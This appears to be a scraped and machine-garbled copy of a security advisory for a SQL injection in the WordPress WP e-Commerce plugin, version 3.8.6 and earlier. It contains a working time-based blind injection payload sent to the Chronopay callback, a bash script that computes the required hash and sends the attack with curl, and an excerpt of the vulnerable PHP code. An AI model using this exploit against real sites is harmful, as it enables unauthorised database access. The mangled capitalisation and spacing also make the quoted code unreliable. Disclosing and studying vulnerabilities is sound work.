WordPress plugin WP e-Commerce & lt; = 3.8.6 SQL Injection defects and repair

Source: Internet
Author: User

Title: WordPress WP e-Commerce plugin <= 3.8.6 SQL Injection Vulnerability
Author: Miroslav Stampar (miroslav. stampar (at) gmail.com @ stamparm)

Software: http://downloads.wordpress.org/plugin/wp-e-commerce.3.8.6.zip

Tested version: 3.8.6

Annotation: parameter $ _ POST ["cs3"] = md5 (md5 (urldecode ($ _ POST ["cs1"])

# It has a "chronopay_salt" option but it's set to ''by default (see more description down below)

---------------

Test (POST data)

---------------

Http://www.bkjia.com /? Chronopay_callback = true

Cs2 = chronopay & cs1 =-1 AND 1 = IF (2> 1, BENCHMARK (5000000, MD5 (CHAR (115,113,108,109, 97,112), 0) % 23 & cs3 = 123f7bcd4ba53fade05886a7e77bf045 & transaction_type = rebill

Example.

#! /Bin/bash

Payload = "-1 AND 1 = IF (2> 1, BENCHMARK (5000000, MD5 (CHAR (115,113,108,109, 97,112), 0 )#"

Hash = 'echo-n $ payload | md5sum | tr-d '\ n' | sed's/\ s *-\ s * // G' | md5sum | tr-d '\ n' | sed's/\ s *-\ s * // g''

Curl -- data "cs2 = chronopay & cs1 = $ payload & cs3 = $ hash & transaction_type = rebill" http://www.site.com /? Chronopay_callback = true

---------------

Defect code

---------------

./Wp-e-commerce/wp-shopping-cart.php:

Class WP_eCommerce {

Function WP_eCommerce (){

Add_action ('ins INS _ loaded', array ($ this, 'init '), 8 );

}

Function init (){

...

$ This-> load ();

...

}

Function load (){

...

Wpsc_core_load_gateways ();

...

}

...

$ Wpec = new WP_eCommerce ();

./Wp-e-commerce/wpsc-core/wpsc-functions.php:

Function wpsc_core_load_gateways (){

Global $ nzshpcrt_gateways, $ num, $ wpsc_gateways, $ gateway_checkout_form_fields;

$ Gateway_directory = WPSC_FILE_PATH. '/wpsc-merchants ';

$ Nzshpcrt_merchant_list = wpsc_list_dir ($ gateway_directory );

$ Num = 0;

Foreach ($ nzshpcrt_merchant_list as $ nzshpcrt_merchant ){

If (stristr ($ nzshpcrt_merchant, '. php ')){

Require (WPSC_FILE_PATH. '/wpsc-merchants/'. $ nzshpcrt_merchant );

}

./Wp-e-commerce/wpsc-merchants/chronopay. php:

Function nzshpcrt_chronopay_callback ()

{

...

If (isset ($ _ GET ['chronopay _ callback']) & ($ _ GET ['chronopay _ callback'] = 'true ') & ($ _ POST ['cs2'] = 'chronopa '))

{

Www.2cto.com $ salt = get_option ('chronopay _ salt ');

//-This is by default ''and set only if explicitly stated

// Inside Store Settings-> Payments-> General Settings->

// Chronopay-> Edit-> Security Key

//-Problem is that there are more popular payment gateways enlisted (e.g.

// Google Checkout and PayPal) and if that setting is not explicitly set

// It wide opens the door to the potential attacker

$ Gen_hash = md5 ($ salt. md5 ($ _ POST ['cs1']. $ salt ));

If ($ gen_hash ==$ _ POST ['cs3'])

{

...

$ Sessionid = trim (stripslashes ($ _ POST ['cs1']);

$ Transaction_id = trim (stripslashes ($ _ POST ['transaction _ id']);

$ Verification_data ['Trans _ id'] = trim (stripslashes ($ _ POST ['transaction _ id']);

$ Verification_data ['Trans _ type'] = trim (stripslashes ($ _ POST ['transaction _ type']);

Switch ($ verification_data ['Trans _ type'])

{

...

Case 'rebill ':

$ Wpdb-> query ("Update'". WPSC_TABLE_PURCHASE_LOGS. "'set

'Processed' = '2 ',

'Transactid' = '". $ transaction_id ."',

'Date' = '". time ()."'

WHERE 'sessionid' = ". $ sessionid." LIMIT 1 ");

...

Add_action ('init ', 'nzshpcrt _ chronopay_callback ');

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